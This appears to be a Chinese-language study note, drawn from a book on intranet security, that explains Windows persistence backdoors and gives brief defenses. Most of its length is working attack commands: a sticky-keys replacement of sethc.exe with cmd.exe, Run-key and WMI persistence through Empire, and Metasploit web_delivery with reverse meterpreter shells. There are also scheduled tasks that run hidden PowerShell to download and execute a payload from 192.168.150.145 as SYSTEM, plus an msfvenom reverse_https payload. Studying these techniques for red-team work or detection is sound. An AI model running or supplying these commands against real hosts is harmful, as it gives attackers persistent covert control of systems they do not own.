主机权限维持及防御
后门(backdoor),本意指在建筑物的背面开设的门,通常比较隐蔽。在信息安全领域,后面是指通过绕过安全控制措施获取对程序或系统访问权限的方法。简单的说,后面就是一个留在目标主机上的软件,它可以使攻击者随时与目标主机进行连接。在大多数情况下,后面是一个运行在目标主机上的隐藏进程。因为后门可能允许一个普通的、未经授权的用户控制计算机,所以攻击者经常使用后面来控制服务器。
攻击者在提升权限之后,往往会通过建立后门来维持对目标主机的控制权。这样一来,即使修复了被攻击者利用的系统漏洞,攻击者还是可以通过后门继续控制目标系统。因此,如果我们能够了解攻击者在系统中建立后门的方法和思路,就可以在发现系统被人入侵后快速找到攻击者留下的后门并将其清除。
0x00:from
--《内网安全攻防》
0x01:操作系统后门
操作系统后门,泛指绕过目标系统安全控制体系的正规用户认证过程来维持对目标系统的控制权及隐匿控制行为的方法。系统维护人员可以清除操作系统中的后门,以恢复目标系统安全控制体系的正规用户认证过程。
1.粘滞键后门
粘滞键后门是一种比较常见的持续控制方法
在Windows主机上连续按五次“shift”键,就可以调出 粘滞键 。Windows的 粘滞键 主要是为无法同时按多个按键的用户设计的。比如,在使用组合键“ctrl+p”时,用户需要同时按两个键,如果使用 粘滞键 来实现组合键“ctrl+p”的功能,用户只需要按一个键。
用可执行文件sethc.exe.bak替换windows\system32目录下的 粘滞键 可执行文件sethc.exe.命令如下:
cd windows\system32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
连续按五次“shift”键,将弹出命令行窗口。可以直接以system权限执行系统命令等。
注意 win7/10部分旧版本系统机器可以使用该后门,其他系统由于系统将sethc.exe权限限制为 TrustedInstall 才拥有完全控制权限。导致无法利用。
防范措施:
- 在远程登陆服务器时,连续按五次shift键,判断服务器是否被入侵
- 拒绝使用sethc.exe或者在“控制面板”中关闭“启用粘滞键”选项。
2.注册表注入后门
在普通用户权限下,攻击者会将需要执行的后门程序或者脚本路径填写到注册表键 HKCU:Software\Microsoft\Windows\CurrentVersion\Run中,键名可以任意设置
在empire下也可以实现这一功能。输入“usemodule powershell /persistence/userland/reg”
set Listener 监听器名
set RegPath(默认可以不填)
然后注销账户重新登录后会接收到shell
杀毒软件针对此类后门有专门的查杀机制,当发现系统中存在后门时会提出提示框。根据提示内容,采取相应的措施,即可删除此类后门。
3.计划任务后门
计划任务在win7及之前版本的操作系统中使用at命令调用,在从windows 8版本开始的操作系统中使用schtasks命令调用。计划任务后门分为管理员权限和普通用户权限两种。管理员权限的后门可以设置更多的计划任务,例如重启后运行等。
计划任务后门的基本命令如下。该命令表示每小时执行一次notpad.exe
schtasks /create /tn updater /tr notepad.exe /sc hourly /mo 1
下面介绍在常见的渗透测试平台中模拟计划任务后门进行安全测试的方法。
1.在Metasploit中模拟计划任务后门
使用msf的powershell payload web delivery模块,可以模拟攻击者在目标系统中快速建立会话的行为。因为该行为不会被写入到磁盘,所以安全软件不会对该行为进行检测。
运行如下命令:
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.145
set lport 443
set URIPATH /
exploit
此时,在目标系统中输入生成的后门代码,就会生成一个新的会话。
如果攻击者在目标系统中创建一个计划任务,就会加载生成的后门。
(1)用户登录
schtasks /create /tn windowsupdate /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.150.145:8080/'''))'" /sc onlogon /ru System
当用户再次使用系统登录时,将执行有效负载,并打开meterpreter会话。
(2)系统启动
schtasks /create /tn windowsupdate /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.150.145:8080/'''))'" /sc onstart /ru System
(3)系统空闲
schtasks /create /tn windowsupdate /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.150.145:8080/'''))'" /sc onidle /ru System
如果目标系统安装了安全软件,添加计划任务时就会弹出警告。
2.在powersploit中模拟计划任务后门
使用 persistence.psm1模块
上传到目标系统中,执行如下命令
Import-Module ./Persistence.psm1
然后,输入如下命令,使用计划任务的方式创建后门。该后门会在计算机处于空闲状态时执行,执行后会生成名为 persistence.ps1脚本。
- $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
- $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
- Add-Persistence -FilePath ./shuteer.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
在如上命令中,shuteer.ps1是计划任务要执行的payload。可以执行如下命令来生成该文件
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.150.145 lport=443 -f psh-reflection -o shuteer.ps1
3.在empire中模拟计划任务后门
输入 “usemodule persistence/elevated/schtasks”命令,然后输入如下命令:设置DailyTime、Listener两个参数,输入“execute”命令,这样,到了设置的时间,将返回一个高权限的shell。
set DailyTime 16:10
set Listener cseroad
execute
在实际运行该模块时,安全防护软件会给出提示。我们可以根据提示,采取相应的防范措施。
输入agent 命令,会多出一个具有system权限的客户端
在本实验中,如果把“setRegPath”命令的参数改为“ HKCU:Software\Microsoft\Windows\CurrentVersion\Run ”,就会在16:10添加一个注册表注入后门。
对计划任务后门,有效方法是:安装安全防护软件进行扫描,及时为系统打补丁,在内网使用高强度密码。
4.meterpreter后门
persistence是meterpreter自带的后门程序,是一个使用安装自启动方式的持久性后门程序。在使用这个后门程序时,需要在目标主机上创建文件,因此安全防护软件会报警。
5.Cymothoa后门
Cymothoa是一款可以将shellcode注入现有进程的后门工具。使用Cymothoa注入的后门程序能够与被注入的程序共存。
6.WMI后门
WMI后门只能由具有管理员权限的用户运行。 WMI 后门通常是powershell编写的,可以直接从新的 WMI 属性中读取和执行后门代码,给代码加密。通过这种方法,攻击者可以在系统中安装一个具有持久性的后门,且不会在系统磁盘中留下任何文件。
WMI 型后门主要使用了 WMI 的两个特征,即无文件和无进程。其基本原理是:将代码加密存储于 WMI 中,达到所谓的“无文件”;当设定的条件被满足时,系统将自动启动powershell进程去执行后门程序,执行后,进程将会消失(持续时间根据后门的运行情况而定,一般是几秒),达到所谓的“无进程”。
在empire下使用Invoke-WMI模块。
usemodule persistence/elevated/wmi
参数设置完成后输入run命令,运行该模块
set Listener cseroad
检查目标主机情况
PS C:\Users\Administrator> Get-WMIobject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='Updater'"
重启等待五分钟即可收到shell